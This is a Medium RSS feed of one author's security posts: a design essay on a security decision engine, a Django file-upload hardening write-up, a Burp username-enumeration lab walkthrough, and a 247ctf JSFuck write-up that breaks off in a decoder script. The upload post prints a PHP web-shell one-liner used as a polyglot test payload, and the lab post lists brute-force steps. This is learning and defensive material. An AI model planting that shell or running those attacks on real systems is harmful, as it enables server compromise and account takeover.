<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Ericmpta on Medium]]></title>
        <description><![CDATA[Stories by Ericmpta on Medium]]></description>
        <link>https://medium.com/@ericmpta?source=rss-a785ff15d310------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*cNTPY6DnrbZ-YevA</url>
            <title>Stories by Ericmpta on Medium</title>
            <link>https://medium.com/@ericmpta?source=rss-a785ff15d310------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 28 Nov 2026 19:42:38 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@ericmpta/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[I Built a Security Decision and Response Engine Over a Weekend]]></title>
            <link>https://medium.com/@ericmpta/i-built-a-security-decision-and-response-engine-over-a-weekend-92e25929c6f0?source=rss-a785ff15d310------2</link>
            <guid isPermaLink="false">https://medium.com/p/92e25929c6f0</guid>
            <category><![CDATA[soc]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Ericmpta]]></dc:creator>
            <pubDate>Sun, 13 Sep 2026 10:30:09 GMT</pubDate>
            <atom:updated>2026-09-14T08:46:09.802Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SbzjE6oWr_840yIi1ghdJw.png" /></figure><p><em>screenshot from demo</em></p><p>Most security systems are good at telling you that something happened. A login failed. An SQL injection pattern was detected. A privileged endpoint was accessed. A device looks suspicious.</p><p>The difficult part is what happens after those individual signals appear. Are they related? How serious are they together? Should access still be allowed Should the user be challenged? Should the source be blocked? Should the device be isolated?</p><p>And, perhaps most importantly is Can an analyst understand why the system made that decision?</p><p>That was the problem I wanted to explore over a weekend. The result became <strong>SentinelMesh - </strong>a security decision and response platform designed around a simple pipeline:</p><pre>Observe<br>   ↓<br>Detect<br>   ↓<br>Correlate<br>   ↓<br>Score Risk<br>   ↓<br>Decide<br>   ↓<br>Respond<br>   ↓<br>Explain</pre><p>It isn’t intended to replace a SIEM, EDR, firewall, or IAM platform.It is an experiment in building the layer that connects security signals to security decisions.</p><p><strong>The problem with isolated detections</strong></p><p>Consider three events:</p><pre>5 failed authentication attempts</pre><pre>A privileged endpoint is accessed</pre><pre>An SQL injection pattern is detected</pre><p>Individually, each event tells us something.</p><p>But treating them independently loses the attack narrative.</p><p>The more interesting question is:</p><blockquote><em>What happens when these events are part of the same attack?</em></blockquote><p>That led me to model SentinelMesh around <strong>threat progression</strong>, rather than simply counting alerts.</p><p>For example:</p><pre>Credential Brute Force<br>        ↓<br>Unauthorized Privileged Access<br>        ↓<br>SQL Injection<br>        ↓<br>Multi-Stage Incident</pre><p>The system can then reason about the sequence rather than treating three alerts as three unrelated problems.</p><h3>Architecture</h3><p>The backend is intentionally simple.</p><ul><li>There is no Kafka cluster.</li><li>No fleet of microservices.</li><li>No machine-learning pipeline.</li><li>No complicated event bus.</li></ul><p>The core stack is:</p><pre>Flask<br>PostgreSQL<br>REST API<br>React<br>Vite<br>Tailwind</pre><p>The simplicity is deliberate.</p><p>For a security system, I would rather have a small number of deterministic components that I can reason about than introduce infrastructure whose operational complexity exceeds the problem being solved.</p><p>The architecture currently looks roughly like this:</p><pre>                    ┌───────────────┐<br>                    │ Security      │<br>                    │ Events        │<br>                    └───────┬───────┘<br>                            │<br>                            ▼<br>                    ┌───────────────┐<br>                    │ Detection     │<br>                    │ Engine        │<br>                    └───────┬───────┘<br>                            │<br>                            ▼<br>                    ┌───────────────┐<br>                    │ Threat        │<br>                    │ Intelligence  │<br>                    └───────┬───────┘<br>                            │<br>                            ▼<br>                    ┌───────────────┐<br>                    │ Risk Engine   │<br>                    └───────┬───────┘<br>                            │<br>                            ▼<br>                    ┌───────────────┐<br>                    │ Correlation   │<br>                    │ Engine        │<br>                    └───────┬───────┘<br>                            │<br>                            ▼<br>                    ┌───────────────┐<br>                    │ Incident      │<br>                    │ Engine        │<br>                    └───────┬───────┘<br>                            │<br>                 ┌──────────┴──────────┐<br>                 ▼                     ▼<br>        ┌────────────────┐    ┌────────────────┐<br>        │ Zero Trust     │    │ Response       │<br>        │ Decision       │    │ Engine         │<br>        └───────┬────────┘    └───────┬────────┘<br>                │                     │<br>                └──────────┬──────────┘<br>                           ▼<br>                    ┌───────────────┐<br>                    │ SOC Dashboard │<br>                    └───────────────┘</pre><p>The important part isn’t the number of components.</p><p>It’s the separation of responsibilities.</p><h3>1. Security event ingestion</h3><p>Everything starts with an event. Events are treated as untrusted input. The ingestion layer therefore doesn’t allow clients to tell the platform things like:</p><pre>risk_score = 100<br>severity = critical<br>status = contained</pre><p>Those are security decisions and they belong to the platform.</p><p>The API validates incoming events, limits payload size, validates metadata, separates read and write credentials, and records when the server actually received the event.</p><p>That last point matters.</p><p>An attacker should not be able to make an event appear to have happened yesterday simply by changing a timestamp.The system therefore keeps both the event timeline and the server-side receipt time.</p><h3>2. Deterministic detection</h3><p>The next layer converts events into threats. I deliberately avoided machine learning. Instead, I implemented explainable detection rules. For example, the brute-force detector looks for repeated authentication failures from the same source within a configured time window.</p><p>The SQL injection detector looks for several independent patterns rather than one enormous regular expression.</p><p>And privileged-access detection checks authoritative identity information rather than trusting a role supplied in event metadata.</p><p>That distinction is important.</p><p>A security system cannot ask the attacker:</p><blockquote><em>“Are you an administrator?”</em></blockquote><p>and then trust the answer.</p><h3>3. Risk scoring</h3><p>Once a threat is detected, the system calculates risk.</p><p>The model deliberately avoids a mysterious “AI score.” The score has explainable components. Conceptually:</p><pre>Risk =<br>    Threat Severity<br>    × Confidence<br>    + Context</pre><p>Context can include things such as:</p><pre>privileged identity<br>device trust<br>resource sensitivity<br>previous threat types<br>attack progression</pre><p>The final value is bounded between:</p><pre>0 — 100</pre><p>with clear risk bands:</p><pre>0–29    LOW<br>30–59   MEDIUM<br>60–79   HIGH<br>80–100  CRITICAL</pre><p>The important property isn’t the particular mathematical formula.</p><p>It is <strong>determinism and explainability</strong>.</p><p>If an analyst asks:</p><blockquote><em>Why did this become critical?</em></blockquote><p>the system should be able to answer.</p><h3>4. Correlation is where the system becomes interesting</h3><p>A security platform that produces three alerts from three events hasn’t necessarily understood the attack. SentinelMesh therefore introduces an incident correlation layer. Threats can be associated using signals such as:</p><pre>same source<br>same principal<br>temporal proximity<br>attack progression</pre><p>The system also maintains a correlation confidence. For example:</p><pre>Same source              0.40<br>Same principal           0.15<br>Temporal proximity       0.25<br>Attack progression       0.20<br>                         -----<br>                          1.00</pre><p>The actual implementation bounds and normalizes this appropriately. The goal isn’t to claim mathematical certainty. It is to make the reasoning visible. The result might become:</p><pre>SM-001</pre><pre>Classification:<br>multi_stage_attack</pre><pre>Correlation:<br>0.990</pre><pre>Risk:<br>100 / CRITICAL</pre><p>Now the security team has an incident rather than three disconnected alerts.</p><h3>5. Zero Trust becomes a decision engine</h3><p>The next question is more important:</p><blockquote><em>Should access still be allowed?</em></blockquote><p>This is where the Zero Trust decision layer comes in. I deliberately separated:</p><pre>context loading</pre><p>from:</p><pre>decision evaluation</pre><p>The evaluator is a pure decision function.</p><ul><li>It doesn’t perform database writes.</li><li>It doesn’t modify state.</li><li>It doesn’t secretly trigger responses.</li></ul><p>It evaluates security context and returns a verdict.</p><p>The possible decisions are:</p><pre>ALLOW<br>STEP_UP<br>DENY</pre><p>The policy considers things such as:</p><pre>identity<br>device trust<br>threat risk<br>incident risk<br>resource sensitivity</pre><p>A critical incident associated with the subject can therefore produce:</p><pre>DENY</pre><p>The important thing is that the decision isn’t:</p><blockquote><em>“The system thinks this looks bad.”</em></blockquote><p>It is:</p><pre>Decision:<br>DENY</pre><pre>Policy:<br>critical_incident</pre><pre>Reason:<br>Subject is associated with an active critical incident.</pre><p>That difference matters when a security system needs to be defended technically.</p><h3>6. Detection should lead to response</h3><p>Detection without response is only half a security system. The response engine evaluates the resulting threat and incident state. The current response tiers are intentionally straightforward.</p><h3>LOW</h3><pre>No containment</pre><h3>MEDIUM</h3><pre>Alert</pre><h3>HIGH</h3><pre>Alert<br>Step-up required</pre><h3>CRITICAL</h3><pre>Alert<br>Step-up<br>Contain subject<br>Block source<br>Isolate device</pre><p>The actions are currently internal security-state changes rather than direct firewall or operating-system commands.</p><p>That is deliberate.</p><p>I did not want a weekend project executing arbitrary iptables, shell commands, or remote administration actions merely because a detection rule fired.</p><p>The system establishes the <strong>decision and containment model first</strong>.</p><p>Real infrastructure integrations can sit behind that model later.</p><h3>Idempotency matters more than it looks</h3><p>Automated response introduces a subtle problem.</p><p>What happens if the same incident is processed twice?</p><p>You don’t want:</p><pre>block source<br>block source<br>block source<br>block source</pre><p>creating inconsistent state.</p><p>Responses therefore have uniqueness guarantees around the incident and action. Repeated execution returns an already-applied result instead of creating duplicate actions. Concurrency is also protected using database-level locking and unique constraints.</p><p>This is one of those details that isn’t particularly exciting in a demo but becomes very important in a real security system.</p><h3>Security actions are audited</h3><p>Every response action produces an auditable record.</p><p>For example:</p><pre>Incident:<br>SM-001</pre><pre>Policy:<br>critical_incident_containment</pre><pre>Action:<br>isolate_device</pre><pre>Result:<br>succeeded</pre><pre>Reason:<br>Critical multi-stage incident</pre><pre>Trigger:<br>injection.sql</pre><p>The system therefore maintains a history of <strong>what happened and why</strong>.</p><p>That distinction is important.</p><p>An audit log that simply says:</p><pre>device isolated</pre><p>isn’t nearly as useful as:</p><pre>device isolated</pre><pre>because:<br>critical incident</pre><pre>policy:<br>critical_incident_containment</pre><pre>trigger:<br>injection.sql</pre><p>Security operations require context.</p><h3>Containment is state, not just an event</h3><p>Another distinction I wanted to preserve was the difference between:</p><pre>&quot;we executed a containment action&quot;</pre><p>and:</p><pre>&quot;the subject is currently contained&quot;</pre><p>Those are not equivalent.</p><p>SentinelMesh therefore maintains containment state separately from response history.</p><p>The SOC can see:</p><pre>Subject<br>CONTAINED</pre><pre>Device<br>ISOLATED</pre><pre>Source<br>BLOCKED</pre><p>while also seeing the historical actions that produced those states.</p><h3>Fail-closed was an important design decision</h3><p>One of the easiest mistakes to make when building security automation is accidentally creating a fail-open path.</p><p>For example:</p><pre>Critical incident<br>      ↓<br>Automatic containment<br>      ↓<br>Incident marked closed<br>      ↓<br>Zero Trust no longer sees active incident<br>      ↓<br>Access allowed</pre><p>That would be a serious design failure.</p><p>I specifically avoided automatically closing incidents as part of containment. The response system changes containment state, but the incident remains available to the access-control layer. This means a later Zero Trust evaluation can still see the security condition that caused containment.</p><h3>The SOC dashboard</h3><p>The final layer is the operator experience.</p><p>The dashboard is intentionally not a collection of decorative charts.</p><p>The primary question is:</p><blockquote><em>Can an analyst understand the attack quickly?</em></blockquote><p>The main investigation flow is:</p><pre>Incident<br>   ↓<br>Attack timeline<br>   ↓<br>Threats<br>   ↓<br>Risk<br>   ↓<br>Correlation<br>   ↓<br>Zero Trust decision<br>   ↓<br>Response actions<br>   ↓<br>Current containment</pre><p>For a multi-stage incident, the analyst should be able to see something like:</p><pre>Credential Brute Force<br>        ↓<br>Unauthorized Privileged Access<br>        ↓<br>SQL Injection<br>        ↓<br>MULTI-STAGE ATTACK<br>        ↓<br>RISK 100<br>        ↓<br>ZERO TRUST: DENY<br>        ↓<br>SUBJECT CONTAINED<br>        ↓<br>SOURCE BLOCKED<br>        ↓<br>DEVICE ISOLATED</pre><p>That is much more useful than twelve KPI cards and a spinning “threat level” animation.</p><h3>What I intentionally didn’t build</h3><p>There is a strong temptation when building security software to add every technology associated with modern security engineering.</p><p>I intentionally didn’t.</p><p>No:</p><ul><li>machine-learning detection</li><li>Kafka</li><li>Kubernetes</li><li>microservices</li><li>arbitrary shell-based response</li><li>fake attack maps</li><li>meaningless threat animations</li><li>external SIEM integrations</li><li>complex event streaming infrastructure</li><li>AI-generated risk scores</li></ul><p>Not because those technologies are bad.</p><p>Because they weren’t necessary for the problem I was solving.</p><p>A good architecture isn’t the one with the most components.</p><p>It’s the one where each component has a reason to exist.</p><h3>The result</h3><p>The most interesting part of the project isn’t any individual detection rule.</p><p>It is the complete chain:</p><pre>Event<br>  ↓<br>Detection<br>  ↓<br>Threat<br>  ↓<br>Risk<br>  ↓<br>Correlation<br>  ↓<br>Incident<br>  ↓<br>Zero Trust<br>  ↓<br>Response<br>  ↓<br>Audit<br>  ↓<br>SOC</pre><p>A security event can therefore move from an untrusted input to an explainable security decision and, when appropriate, to controlled containment.</p><p>That creates a much more useful security narrative than simply generating alerts.</p><h3>What I learned building it</h3><p>The biggest lesson was that security engineering is often less about adding more detection logic and more about maintaining <strong>trust boundaries</strong>.</p><p>The system must know:</p><pre>What does the client control?<br>What does the backend control?<br>What is derived?<br>What is authoritative?<br>What is merely evidence?<br>What is a decision?<br>What is an action?<br>What is current state?<br>What is historical state?</pre><p>Those distinctions affect almost every design decision.</p><ul><li>A client can submit an event.</li><li>It cannot submit the resulting risk.</li><li>A detector can identify a threat.</li><li>It cannot arbitrarily mark an incident critical.</li><li>A policy engine can return DENY.</li><li>It shouldn’t silently mutate unrelated state.</li><li>A response engine can contain a subject.</li><li>It shouldn’t automatically erase the incident that caused containment.</li></ul><p>Those boundaries are where much of the real security engineering happens.</p><h3>Where SentinelMesh goes next</h3><p>The current implementation is deliberately foundational.</p><p>The next logical direction is attack simulation and operational hardening.</p><p>That means making the complete lifecycle repeatable:</p><pre>Normal<br>  ↓<br>Attack<br>  ↓<br>Detection<br>  ↓<br>Correlation<br>  ↓<br>Risk escalation<br>  ↓<br>Zero Trust denial<br>  ↓<br>Automated containment<br>  ↓<br>Analyst investigation<br>  ↓<br>Recovery</pre><p>From there, external integrations become much more interesting because the security decision layer already exists.</p><ul><li>A firewall could consume a source-blocking decision.</li><li>An endpoint platform could consume device isolation.</li><li>An IAM platform could consume step-up or deny.</li><li>A SIEM could consume the incident and response history.</li></ul><p>But those integrations should come <strong>after</strong> the decision model is sound.</p><h3>Final thoughts</h3><p>This started as a weekend project.</p><p>It became an exercise in something I find more interesting than simply building another security tool:</p><p><strong>How do you turn security signals into trustworthy decisions?</strong></p><p>The answer isn’t necessarily more AI, more infrastructure, or more alerts.</p><p>Sometimes it is:</p><pre>Good data<br>+<br>Deterministic detection<br>+<br>Explainable risk<br>+<br>Strong correlation<br>+<br>Explicit policy<br>+<br>Controlled response<br>+<br>Immutable audit</pre><p>That is the foundation I wanted SentinelMesh to explore.</p><p>And that’s probably the biggest takeaway from the project:</p><blockquote><strong><em>A security system becomes valuable when it can explain not only what it detected, but why it acted.</em></strong></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=92e25929c6f0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Secure File Upload System]]></title>
            <link>https://medium.com/@ericmpta/secure-file-upload-system-7beb494eb141?source=rss-a785ff15d310------2</link>
            <guid isPermaLink="false">https://medium.com/p/7beb494eb141</guid>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[application-security]]></category>
            <category><![CDATA[software-architecture]]></category>
            <category><![CDATA[software-development]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Ericmpta]]></dc:creator>
            <pubDate>Tue, 21 Jul 2026 05:19:17 GMT</pubDate>
            <atom:updated>2026-07-21T09:26:31.286Z</atom:updated>
            <content:encoded><![CDATA[<h3>I Built a “Secure” File Upload System. It Wasn’t Secure Until I Tried to Break It Myself.</h3><p><em>What seven phases of shipping bugs into my own security code taught me about the gap between “the code looks right” and “the code is right.”</em></p><p>I spent a week-8 stretch of my security learning track building a Django file upload system. The brief was simple: build something that handles uploads safely-validate files, store them securely, gate downloads behind auth, log what happens, rate-limit abuse.</p><p>I could have written this in an afternoon if the goal was “code that compiles.” It took a lot longer than that, because I made a rule for myself partway through: <strong>nothing counts as done until I’ve actually tried to break it and watched it hold.</strong></p><p>That rule surfaced more bugs in my own “secure” code than any code review would have. Here’s what happened.</p><p>Full code: <a href="https://github.com/Ericmuturimwangi/Django-file-upload-service">github.com/Ericmuturimwangi/Django-file-upload-service</a></p><h3>Extension checks are theater</h3><p>The first version of the upload validator checked one thing: does the filename end in .jpg, .png, or .pdf? That&#39;s it. That&#39;s the whole check.</p><p>I renamed a PHP shell to shell.php.jpg and uploaded it. Accepted, every time. The extension check never looked at what was actually <em>in</em> the file-it just read the string after the last dot.</p><p>The fix was magic-byte sniffing with python-magic, which reads the actual file signature-the real bytes at the start of the file-rather than trusting anything the client claims. Now a PHP payload gets sniffed as text/x-php regardless of what extension you slap on it, and it gets rejected before it ever touches disk.</p><p>python</p><pre>def validate_content_matches_extension(uploaded_file, ext):<br>    sniffed = sniff_mime(uploaded_file)<br>    if sniffed not in ALLOWED_TYPES:<br>        return f&quot;Content type &#39;{sniffed}&#39; not permitted.&quot;, None<br>    if ext not in ALLOWED_TYPES[sniffed]:<br>        return &quot;File extension does not match actual content.&quot;, None<br>    return None, sniffed</pre><p>Lesson one, early and cheap: <strong>never validate a file based on anything the client tells you about itself.</strong> Extension, Content-Type header, filename-all of it is a claim, not a fact. The only fact is the actual bytes.</p><h3>The rejection that didn’t actually stop anything</h3><p>Once extension checking felt too easy to bypass, I added a size limit. Reject anything over 5MB. Simple, right?</p><p>Except-and this took a specific, deliberate test to actually see -Django doesn’t wait for my code to check file size. Depending on how big the upload is, Django’s own upload handlers may already have streamed the entire file to a temp directory on disk <em>before my view function even starts running.</em> My validate_size check was real. It did reject oversized files. But it was cleaning up after a disk write that had already happened, not preventing one.</p><p>That’s a genuinely different security property, and the difference matters: an attacker could still exhaust disk space by uploading huge files over and over, getting a clean 400 every time, while quietly filling up storage in the background.</p><p>The actual fix lives at a layer above the view function entirely -middleware that checks Content-Length before Django&#39;s file handling kicks in:</p><p>python</p><pre>class MaxUploadSizeMiddleware:<br>    def __call__(self, request):<br>        if request.method == &quot;POST&quot;:<br>            content_length = request.META.get(&quot;CONTENT_LENGTH&quot;)<br>            if content_length and int(content_length) &gt; MAX_UPLOAD_BYTES:<br>                return JsonResponse({&quot;error&quot;: &quot;Request too large.&quot;}, status=413)<br>        return self.get_response(request)</pre><p>I proved this actually worked by sending a 10MB file against a 5MB middleware cap and watching two things: a 413 response, fast, and-this is the part that mattered -an empty private_uploads/ directory afterward. Not &quot;the response looked right.&quot; The directory was actually, verifiably empty.</p><p>Even this isn’t the full story. Content-Length is a header the client sends-a well-behaved client sends it honestly, but nothing stops a malicious one from lying or omitting it. The real, unconditional boundary belongs to whatever reverse proxy sits in front of Django in production (client_max_body_size in Nginx), not to anything in my codebase. I wrote that down as a known limitation instead of pretending my middleware was the whole answer.</p><h3>The bug that survived three “fixes”</h3><p>This is the one that actually humbled me.</p><p>Polyglot files are the classic bypass for image validation: take a real, valid JPEG, and just… append something else after it. A JPEG decoder stops reading at the end-of-image marker. Most naive validators do too. So a file can pass every check that only looks at the beginning and still smuggle a payload at the end.</p><p>I built a test file-a real photo with &lt;?php system($_GET[&#39;cmd&#39;]); ?&gt; glued onto the end-and confirmed it sailed straight through my magic-byte validation, because the header was a perfectly legitimate JPEG. Then I grep&#39;d the stored file on disk and found the PHP string sitting right there, in a file my own system had labeled &quot;accepted.&quot;</p><p>The fix -the <em>real</em> fix, not just a check -is re-encoding. Fully decode the image into raw pixel data, then build a brand-new file from scratch using only those pixels. Anything that wasn’t part of the actual image-trailing bytes, embedded scripts, EXIF metadata-never survives the trip, because the new file has no memory of the old file’s bytes at all:</p><p>python</p><pre>def reencode_image(file_obj, verified_mime):<br>    img = Image.open(file_obj)<br>    img.load()  # force full pixel decode<br>    clean = Image.new(img.mode, img.size)  # brand new, no file association<br>    clean.putdata(list(img.getdata()))  # only the pixels survive<br>    out = io.BytesIO()<br>    clean.save(out, format=FORMAT_MAP[verified_mime])<br>    return out</pre><p>I wrote this function correctly on the first try. And the payload still made it to disk anyway -twice-because two turns later, the actual call site that saved the file was still passing the <em>original</em> upload into storage, not the re-encoded version. The fix existed. It just wasn’t wired in.</p><p>That’s the pattern I want to flag hardest: <strong>code that is correct in isolation tells you nothing about whether it’s actually connected.</strong> I found the same failure mode again a few phases later -a token-signing function written correctly, imported nowhere, crashing the endpoint the moment it was hit for real. Reading code and running code are different verbs, and only one of them tells you the truth.</p><h3>Removing a security check I’d added myself</h3><p>Somewhere around phase 3, hunting down an early CSRF error while trying to get a curl test to pass, I slapped @csrf_exempt on the upload endpoint. It made the error go away. I moved on.</p><p>It sat there, unexamined, for several phases -genuinely live, shippable, “working” code with a real hole in it.</p><p>What eventually surfaced it wasn’t a code review. It was being forced to explain, out loud, what CSRF actually protects against: a malicious site tricking a logged-in victim’s browser into firing off a request using their session, without their knowledge or consent. Once I said that sentence and then asked “does that risk apply to file uploads specifically”-the answer was obviously yes. A hostile page could silently upload garbage using someone else’s account, fill their storage, or worse. There was no good reason for that exemption. It existed purely because it made an early test pass, and nobody had gone back to ask if it was <em>correct</em>, only whether it was <em>convenient</em>.</p><p>I removed it. Every upload test after that had to go through the real CSRF dance -fetch a token, send it, verify the session-same as everything else.</p><p>The lesson generalizes past this one endpoint: <strong>a security control you can’t explain the threat model for is a control you’ll eventually remove without noticing you’ve reopened a hole.</strong> “It made the error go away” and “it’s actually safe” are not the same sentence, and it’s worth never letting them blur together.</p><h3>Deletion semantics are a security decision</h3><p>Small, easy to skate past: when I built the audit log model, I had to pick what happens to a log entry when the user or file it references gets deleted. Django gives you CASCADE (delete the log row too) or SET_NULL (keep the row, just blank the reference).</p><p>I almost picked CASCADE on autopilot, because it &quot;keeps things tidy.&quot; Then I actually thought through the scenario an audit log exists for: someone gets caught doing something malicious, and their account gets deleted-either by them, trying to cover their tracks, or by an admin doing routine cleanup after the fact. Under CASCADE, that deletion also erases the exact evidence of what they did. The log disappears at precisely the moment it matters most.</p><p>SET_NULL keeps the row. The action is still on record-&quot;someone, no longer identifiable, did X to file Y at time Z&quot;-even after the account is gone.</p><p>An ORM field option that looks like a modeling detail turned out to encode a real security guarantee. That’s a pattern worth watching for generally: the “boring” config choices are sometimes the actual decision, dressed up as plumbing.</p><h3>Predicting before testing changed what testing was for</h3><p>Partway through this project I started forcing myself to state a prediction <em>before</em> running any test-what status code do I expect, what should the file on disk look like, why. This felt like busywork at first. It wasn’t.</p><p>Without a stated prediction, every test result is just a fact with no context-you can’t tell “expected” from “surprising,” so nothing teaches you anything. Once I started predicting first, wrong predictions became the most valuable thing that happened all week. I predicted img.load() was the reason a polyglot payload got stripped; it turned out getdata() was already forcing that decode, and the explicit .load() call had been inert the whole time. I predicted an anonymous request would get a 403; it got a 302, which taught me @login_required redirects rather than denies-a decorator-ordering fact I&#39;d never actually had to think about before.</p><p>Neither of those corrections would have landed if I’d just run the command and moved on to whatever came back.</p><h3>What’s still open, on purpose</h3><p>I’m not going to pretend this system is finished, because it isn’t, and pretending otherwise is its own kind of dishonesty:</p><ul><li><strong>Download tokens aren’t single-use.</strong> A valid token works for anyone holding it until its 5-minute window runs out, even after a successful download.</li><li><strong>Rate limiting is per-user</strong>, which stops one account from hammering the system but does nothing against an attacker spinning up many accounts.</li><li><strong>No malware scanning.</strong> Re-encoding defeats format-confusion and polyglot tricks; it does nothing against a payload built to exploit a bug in the image-decoding library itself.</li><li><strong>No storage quota per user.</strong></li></ul><p>These aren’t things I forgot. They’re things I know about and chose to name explicitly rather than let someone else discover later.</p><h3>The actual takeaway</h3><p>None of the bugs in this post were exotic. Every single one was something I’d have told you, if you’d asked me directly, “no, of course my code doesn’t do that.” And every single one was real, sitting in code that looked correct, until I built a specific adversarial test and watched it fail.</p><p>“I wrote the defense” and “the defense works” turned out to be two different claims, separated by exactly one real test -and the whole week was really just an exercise in refusing to let myself round the first claim up to the second.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7beb494eb141" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Username enumeration via subtly different responses]]></title>
            <link>https://medium.com/@ericmpta/username-enumeration-via-subtly-different-responses-45474b82773a?source=rss-a785ff15d310------2</link>
            <guid isPermaLink="false">https://medium.com/p/45474b82773a</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[authentication]]></category>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Ericmpta]]></dc:creator>
            <pubDate>Thu, 18 Jun 2026 13:37:30 GMT</pubDate>
            <atom:updated>2026-06-18T13:37:30.209Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*U4ez6N4RZ1KwamS4QVNgYA.png" /></figure><p>This lab is vulnerable to username enumeration and password brute-force attacks. It has an account with a predictable username and password.</p><p>How to Attack:</p><ul><li>With Burp Running, through interceptor, submit test username and test password.</li><li>The captured request is sent to the intruder.</li><li>Using the username as the first test payload, fill with the Payload with the usernames,</li><li>Using Grep-Extract, fetch the responses and highlight the Invalid Username and password, the rest of the settings automatic fill up.</li><li>Start the attack and monitor the response with a different warning.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*50FHwV824UEycQH_ZFyErQ.png" /></figure><ul><li>Using that response as the username, replace the test username.</li><li>Now, attacking the password using the set username, replace the passwords payload with the passwords payload.</li><li>Note the request that has a 302 response redirecting to the users page.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/804/1*7qMUfGhMMx73mOaN-U5nTA.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=45474b82773a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[247ctf Trusted Client]]></title>
            <link>https://medium.com/@ericmpta/247ctf-trusted-client-ec233ab2f3d1?source=rss-a785ff15d310------2</link>
            <guid isPermaLink="false">https://medium.com/p/ec233ab2f3d1</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[web-penetration-testing]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[ctf-walkthrough]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[Ericmpta]]></dc:creator>
            <pubDate>Mon, 15 Jun 2026 10:01:27 GMT</pubDate>
            <atom:updated>2026-06-15T10:01:27.354Z</atom:updated>
            <content:encoded><![CDATA[<p>Developers don’t always have time to setup a backend service when prototyping code. Storing credentials on the client side should be fine as long as it’s obfuscated right?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gk0IcHk9QqS5dIxtX4aXqQ.png" /></figure><ul><li>No obfuscation is a not a security boundary — Its a speed bump. If the client can run the code, the client has everything needed to recover the secret, since the browder already deobfuscates it to execute.</li><li>Minification, base64, string-splitting, XOR-with-a-hardcoded-key — all trivially reversible with devtools and a beautifier.</li><li>Recon involves:<br> — curl -sk https:// .. / and look at the raw HTML, the comments, inline script and the referenced JS bundles.<br> — Pull every .js it references and run it through a beautifier. Grep for key, token, secret, flag, atob, fetch and hardcoded URLs.<br> — Check what XHR/fetch calls the page makes and what they expect. The “hidden” credential is the thing guarding one of those calls.<br> — View the source/Sources tab in the devtools.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/892/1*3xb3g2nYIJWN_V3c3-va1w.png" /></figure><ul><li>The validation runs entirely on client-side. The pop-up is a native alert(), that means the username/password check is happening in JS in the browser, not on the server.</li><li>This guides into not touching the form again since brute-forcing a client side is pointless when you can just read it.</li><li>The move:</li></ul><ol><li>Anchor on the error string. Devtools -&gt; Sources(or network -&gt; get the js bundle).searhc for the pop-up (invalid username and password)</li><li>Read both branches. Find the if that fires the alert. The else (or the inverted conditon) is the success path.</li><li>In case it is minified, beautify it first using dev tools pretty-print.</li></ol><pre>curl -sk https://6bef8bf8f994c46c.247ctf.com/ -o index.html<br>cat index.html</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nmtelYD92Z_NRCYFmXB7GQ.png" /></figure><pre>grep -oE &#39;src=&quot;[^&quot;]+\.js[^&quot;]*&quot;&#39; index.html</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*__5T-RUWoIk8ygSyCSQoSQ.png" /></figure><pre>```<br>grep -n &quot;Invalid username and password&quot; index.html</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oY5tNDhjnap41rXD9oXgEA.png" /></figure><ul><li>That is JSFuck — js writton with only !+. It is not encryption, it is not obsfucation in nay sense. Its an alternate encoding of plain JS that the engine expands back to the source before running it.</li><li>The length is intimadating but the browser does the decoding of the text.</li><li>The full source confirms it:</li><li>the entire onsubmit handler body is one JSFuck expression that builds and tuns it through [][“filter]<a href="https://medium.com/code">”constructor”</a>() ie the Function(code)().</li><li>The login check, and whatever it gates is inside that code. Nothing server-side validates anything.</li><li>Using this decode.js file:</li></ul><pre>   #!/usr/bin/env node<br>// JSFuck unpacker for client-side login challenges.<br>// Usage: node decode.js &lt;file.html|file.js&gt;<br>//<br>// JSFuck runs its payload via  [][&quot;filter&quot;][&quot;constructor&quot;](SRC)()  ===  Function(SRC)().<br>// We proxy Function.prototype.constructor to RECORD the SRC of every compiled<br>// function, then forward to the real constructor so the JSFuck&#39;s own (nested)<br>// string-building isn&#39;t corrupted. The 